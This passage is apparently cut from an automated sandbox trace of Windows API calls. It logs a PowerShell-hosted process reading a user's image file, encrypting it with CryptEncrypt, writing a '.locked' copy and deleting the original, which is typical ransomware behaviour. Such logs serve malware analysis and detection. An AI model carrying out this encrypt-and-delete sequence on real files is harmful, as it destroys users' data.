lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0136.710] GetFileType (hFile=0x764) returned 0x1 [0136.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0136.710] GetFileType (hFile=0x764) returned 0x1 [0136.710] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0136.710] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x89, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.711] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif.locked", lpFilePart=0x0) returned 0x52 [0136.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0136.711] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\szjrwgq9ll\\_tagtwaevd.gif.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0136.711] GetFileType (hFile=0x778) returned 0x1 [0136.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0136.711] GetFileType (hFile=0x778) returned 0x1 [0136.712] CryptGenRandom (in: hProv=0x8e02360, dwLen=0x10, pbBuffer=0x6ae5cb8 | out: pbBuffer=0x6ae5cb8) returned 1 [0136.712] CryptContextAddRef (hProv=0x8e02360, pdwReserved=0x0, dwFlags=0x0) returned 1 [0136.712] CryptDuplicateKey (in: hKey=0x8e84b78, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84978) returned 1 [0136.712] CryptContextAddRef (hProv=0x8e02360, pdwReserved=0x0, dwFlags=0x0) returned 1 [0136.712] CryptSetKeyParam (hKey=0x8e84978, dwParam=0x4, pbData=0x6ae6f74*=0x1, dwFlags=0x0) returned 1 [0136.712] CryptSetKeyParam (hKey=0x8e84978, dwParam=0x1, pbData=0x6ae6f40, dwFlags=0x0) returned 1 [0136.712] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xef70\x437\x242") returned 0x0 [0136.712] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.712] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x89, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.712] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.713] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.713] ReadFile (in: hFile=0x764, lpBuffer=0x6aea4d0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6aea4d0*, lpNumberOfBytesRead=0x99ae7a8*=0x89fc, lpOverlapped=0x0) returned 1 [0136.713] CryptEncrypt (in: hKey=0x8e84978, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6afe4dc*, pdwDataLen=0x99ae79c*=0x89f0, dwBufLen=0x89f0 | out: pbData=0x6afe4dc*, pdwDataLen=0x99ae79c*=0x89f0) returned 1 [0136.713] WriteFile (in: hFile=0x778, lpBuffer=0x6ae5d78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6ae5d78*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0136.714] WriteFile (in: hFile=0x778, lpBuffer=0x6aff4c8*, nNumberOfBytesToWrite=0x7a04, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6aff4c8*, lpNumberOfBytesWritten=0x99ae780*=0x7a04, lpOverlapped=0x0) returned 1 [0136.714] ReadFile (in: hFile=0x764, lpBuffer=0x6aea4d0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6aea4d0*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0136.715] CryptEncrypt (in: hKey=0x8e84978, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6b06ef0*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6b06ef0*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0136.715] CryptEncrypt (in: hKey=0x8e84978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b06f24*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6b06f24*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0136.715] WriteFile (in: hFile=0x778, lpBuffer=0x6ae5d78*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6ae5d78*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0136.715] CloseHandle (hObject=0x778) returned 1 [0136.718] CloseHandle (hObject=0x764) returned 1 [0136.718] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif", lpFilePart=0x0) returned 0x4b [0136.718] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.718] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.718] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.718] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.720] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\szjrwgq9ll\\_tagtwaevd.gif")) returned 0x20 [0136.721] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif", lpFilePart=0x0) returned 0x4b [0136.722] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0136.722] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0136.722] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0136.722] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0136.722] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0136.722] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0136.722] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0136.723] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0136.723] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0136.723] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0136.723] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0136.723] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0136.723] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0136.723] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0136.723] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0136.723] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0136.723] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0136.723] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0136.724] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0136.724] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0136.724] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\szjrwgq9ll")) returned 0x10 [0136.724] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\szjrwgq9ll")) returned 0x10 [0136.724] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll", lpFilePart=0x0) returned 0x3c [0136.724] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll", lpFilePart=0x0) returned 0x3c [0136.724] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\szjrwgq9ll\\_tagtwaevd.gif")) returned 0x20 [0136.724] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif", lpFilePart=0x0) returned 0x4b [0136.724] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif", lpFilePart=0x0) returned 0x4b [0136.725] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif", lpFilePart=0x0) returned 0x4b [0136.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0136.725] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif", lpFilePart=0x0) returned 0x4b [0136.725] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif\\", lpFilePart=0x0) returned 0x4c [0136.725] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0136.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0136.726] CoTaskMemAlloc (cb=0x404) returned 0x8eb8d30 [0136.726] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8d30, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0136.726] CoTaskMemFree (pv=0x8eb8d30) [0136.727] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\szjrwgq9ll\\_tagtwaevd.gif")) returned 0x20 [0136.727] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif", lpFilePart=0x0) returned 0x4b [0136.727] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif", lpFilePart=0x0) returned 0x4b [0136.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0136.727] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\szjrwgq9ll\\_tagtwaevd.gif"), fInfoLevelId=0x0, lpFileInformation=0x6b1f888 | out: lpFileInformation=0x6b1f888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae909270, ftCreationTime.dwHighDateTime=0x1d49dc7, ftLastAccessTime.dwLowDateTime=0x16d9deb0, ftLastAccessTime.dwHighDateTime=0x1d4a3a7, ftLastWriteTime.dwLowDateTime=0x16d9deb0, ftLastWriteTime.dwHighDateTime=0x1d4a3a7, nFileSizeHigh=0x0, nFileSizeLow=0x89fc)) returned 1 [0136.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0136.727] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\szjrwgq9ll\\_tagtwaevd.gif")) returned 1 [0136.729] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.730] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x19f5\x73b9\x1b0\x6b2") returned 0x0 [0136.730] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.730] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.730] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.734] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\szjrwgq9ll\\_tagtwaevd.gif.locked")) returned 0x20 [0136.734] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\szjrwgq9ll\\_tagtwaevd.gif.locked")) returned 0x20 [0136.734] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif.locked", lpFilePart=0x0) returned 0x52 [0136.734] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif.locked", lpFilePart=0x0) returned 0x52 [0136.735] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif", lpFilePart=0x0) returned 0x4b [0136.735] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.735] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.735] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.735] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.742] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.742] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8e, [1]=0x1b, 